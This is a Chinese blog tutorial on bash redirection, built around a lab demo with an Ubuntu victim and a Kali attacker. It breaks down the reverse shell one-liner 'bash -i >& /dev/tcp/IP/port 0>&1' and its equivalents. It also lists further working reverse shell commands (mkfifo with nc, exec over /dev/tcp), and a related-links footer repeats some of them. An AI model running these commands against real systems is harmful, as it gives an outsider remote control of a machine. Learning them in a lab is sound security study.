浅析重定向与反弹Shell命令
0×01 简介
反弹shell在漏洞证明和利用的过程中都是一个直接有力的手段。由于安全工作或者学习的需要,我们或多或少都会接触到各种反弹shell的命令,于是就有了这个能稍微帮助初学者理解的文档。
下面这个场景十分常见,攻击者在机器上监听相应端口,在受害者机器执行反弹shell命令,然后get shell。

0×02 速食
那么这个反弹shell命令到底是什么意思呢
bash -i >&/dev/tcp/192.168.190.138/6666 0>&1
对于速食主义者,后面的内容可以选择忽略
| 命令 | 解释 |
|---|---|
| bash -i | 产生一个交互式bash |
| >& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
| 0>&1 | 从TCP连接获取输入 |
0×03 分析
其实这里就涉及到重定向的知识
接下来我们分解一下命令
首先是两个容易理解的部分
I bash -i
bash -i是启动一个交互式shell。

交互式shell的意思就是跟用户交互,你输入一行命令,shell就执行一行命令。当然,有交互式就有非交互式,一个 shell脚本的运行方式,就是非交互式shell。使用echo $-可以查看是否是交互式shell

II /dev/tcp/ip/port
然后是/dev/tcp/192.168.190.138/6666
这个实际上就是和192.168.190.138:6666建立TCP连接,linux一切皆文件的思想在这里体现
输出到TCP连接

从TCP连接读取

III 重定向
>命令大家都不陌生,就是把输出重定向
那么这里就可以组成一个命令
bash -i > /dev/tcp/192.168.190.138/6666
就是建立一个交互式shell,然后把输出重定向到TCP连接
演示中ubuntu作为受害者,kali作为攻击者
ubuntu执行这个命令,可以看到建立了一个交互式shell和一个连接,然后在上面ubuntu 上执行id,可以看到结果输出在下面的kali中

>测试过了,<命令大家也不陌生,就是读取输入。那么
bash -i < /dev/tcp/192.168.190.138/6666
大家也很容易理解,就是从TCP连接中读取输入。
在ubuntu上执行上述命令后,建立了交互式bash和TCP 连接,然后从TCP连接读取输入到bash执行,这个时候需要在下面的kali中执行命令,然后结果会显示到上面的 ubuntu中

IV 奇怪的反弹shell
bash -i > /dev/tcp/192.168.190.138/6666
bash -i < /dev/tcp/192.168.190.138/6666
这样的话,结合上述两个命令的功能
bash -i > /dev/tcp/192.168.190.138/6666 0>&1
就可以从TCP连接获取命令输入,然后输出到TCP连接中,一个基本的反弹shell 功能已经完成。可以在kali中输入id命令并显示命令结果。

那么,大家会发现一个比较奇怪的现象,攻击端可以顺利输入命令获得命令回显了,但是执行的命令在受害者机器上会显示,比如在kali上输入命令id ,id命令会回显到ubuntu中,终端提示符name@host也在受害者机器回显。什么鬼?这个问题在后面会解决。

V >& <&的作用
那么>&中&的作用是什么
用过linux后台命令的都知道,单独的一个&可以表示在后台运行,但是和 ><连用的&绝对不表示在后台运行。
一般情况下,注意是一般,&和<>连用是为了将纯数字名文件和文件描述符区分开。 注意以下命令的区别。
name 2>1
name 2>&1
我们知道文件描述符0,1,2分别表示stdin,stdout和 stderr
比如我输入一个name命令,该命令在ubuntu中默认是不存在的,这个时候会产生错误,并输出一大堆东西到标准错误

我想把标准错误2重定向到标准输入1,怎么办
输入name 2>1吗, 我们试试。


可以看到,其实这样直接创建了一个名称为数字1的文件,并没有重定向到标准输出1
正确的做法是应该是执行name 2>&1(这里的1才表示标准输出)
所以一般情况下,>&和<&的右边的 &都是为了和纯数字文件区别开。
在&右边为非纯数字文件的情况下,>&是什么意思呢,实际上 >&不是一个单独的命令,完整的形式应该是n>&word|digit,有一个比较复杂的逻辑。
我们先看一个简单的版本>&word,也就是n省略

>&word和&>word都表示的是把标准输出和标准错误同时重定向到某个文件,都相当于>word 2>&1。 那么也就是
bash -i >& /dev/tcp/192.168.190.138/6666
相当于
bash -i >/dev/tcp/192.168.190.138/6666 2>&1
执行命令,从ubuntu输入命令,输出和错误都在kali上显示

VI Figure out
还记得上面那个奇怪的现象吗。执行命令
bash -i > /dev/tcp/192.168.190.138/6666 0>&1

那么这里
bash -i > /dev/tcp/192.168.190.138/6666 0>&1
对比命令
bash -i >& /dev/tcp/192.168.190.138/6666 0>&1
在bash -i >后面少了一个&,结合上面所学,实际上就是后面少了一个2>&1 ,也就是缺少标准错误的重定向。

标准错误2不仅显示错误信息,居然还有回显输入命令和终端提示符的作用,是否有一种打开了新世界的小门的感觉。
到这,大家应该对重定向和反弹shell都有了一定的了解。
那么,还有一份大礼包。就是n<&word和n>&word的情形,实际上就对应到 0>&1或者0<&1的解释。

VII trick
理解上述大礼包之后,那么对于下面这个命令
bash -i>& /dev/tcp/192.168.190.138/6666 0>&1
实际上以下形式都等价
bash -i &>/dev/tcp/192.168.190.138/6666 0>&1
bash -i>& /dev/tcp/192.168.190.138/6666 0<&1
bash -i>& /dev/tcp/192.168.190.138/6666 <&1
bash -i>& /dev/tcp/192.168.190.138/6666 <&2
bash -i 1>/dev/tcp/192.168.190.138/6666 2>&1 0>&1
VIII 简单总结
>&word &>word 表示 >word 2>&1
n>&word|digit 表示复制输出描述符给n
n<&word|digit 表示复制输入描述符给n
0<&word可以简写为<&word
1>word可以简写为>word
IX 举一反三
还有一些其他的反弹shell命令,试着读读,是不是能够理解,异曲同工
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.190.138 6666>/tmp/f

exec 5<>/dev/tcp/192.168.190.138/6666;cat <&5|while read line;do $line>&5 2>&1;done

0×04 其他
感觉manual很重要,很多问题某度不出个靠谱的结果:对于这个反弹shell命令,高手一看就明白,不屑于写文章;初学者可能看不太懂,还容易被某度带偏。当然搞明白这个反弹 shell和重定向,似乎也感觉暂时也没什么大用,不过储备一点知识总是好的,说不定哪天就用上了。
Anyway,其实很多东西在官方手册中都可以获得解答,在下列手册中查看3.6 Redirections章,你会豁然开朗。限于知识水平,本篇的内容表述不一定准确,请自己在手册中体会。
https://www.gnu.org/software/bash/manual/bash.pdf

浅析重定向与反弹Shell命令的更多相关文章
- Linux下NC反弹shell命令
本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- bash反弹shell检测
1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的 ...
- Liunx反弹shell的几种方式
什么是反弹shell? 简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的 ...
- [BJDCTF 2nd]duangShell 反弹shell
[BJDCTF 2nd]duangShell [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...
- 53端口反弹shell
shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...
- 【python中调用shell命令使用PIPE】使用PIPE作为stdout出现假卡死的情况——将stdout重定向为输出到临时文件
在Python中,调用:subprocess.Popen(cmd, stdout = PIPE, stderr = PIPE, shell= true)的时候,如果调用的shell命令本身在执行之后会 ...
随机推荐
- 【WP8】Uri关联启动第三方App
在WP8中支持启动第三方应用程序,比如在App1中可以打开App2,你可以在你的应用程序中直接打开QQ,也可以让其他开发者调用你的APP,例如:软件盒子 下面演示被调用方和调用方的使用方法,新建两个项 ...
- UNIX环境编程学习笔记(19)——进程管理之fork 函数的深入学习
lienhua342014-10-07 在“进程控制三部曲”中,我们学习到了 fork 是三部曲的第一部,用于创建一个新进程.但是关于 fork 的更深入的一些的东西我们还没有涉及到,例如,fork ...
- 装饰模式(Decorator Pattern)--------结构型模式
装饰模式可以在不改变一个对象本身功能的基础上给对象增加额外的新行为.装饰模式降低类系统的耦合度,可以动态地增加或删除对象的职责,并使得需要装饰的具体构件类和具体装饰类可以独立变化,以便增加新的具体构件 ...
- hive 表优化
一.外部表和内部表的区别 (1)创建表时指定external关键字,就是外部表,不指定external就是内部表 (2)内部表删除后把元数据和数据都删除了,外部表删除后只是删除了元数据,不会删除hdf ...
- Android刮刮卡效果
不多说,直接上代码: package com.example.test; import android.app.Activity; import androi ...
- Java使用泛型实现栈结构
泛型是Java SE5.0的重要特性,使用泛型编程可以使代码获得最大的重用.由于在使用泛型时要指明泛型的具体类型,这样就避免了类型转换.本实例将使用泛型来实现一个栈结构,并对其进行测试. 思路分析:既 ...
- Java压缩包解压到指定文件
在获得一个以Zip格式压缩的文件之后,需要将其进行解压缩,还原成压缩前的文件.若是使用Java自带的压缩工具包来实现解压缩文件到指定文件夹的功能,因为jdk提供的zip只能按UTF-8格式处理,而Wi ...
- Java位运算加密
创建一个类,通过位运算中的”^"异或运算符把字符串与一个指定的值进行异或运算,从而改变字符串每个字符的值,这样就可以得到一个加密后的字符串.当把加密后的字符串作为程序输入内容,再与那个指定的 ...
- mysql asyn 实战
创建configuration时,发现URLParser找不到,于是只能使用配置文件来,当然使用配置文件比使用URL初始化还要直观些 def configurationWithPassword = n ...
- Javascript获取IFrame内容(兼容IE&FF)
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://wintys.blog.51cto.com/425414/123303 作者: W ...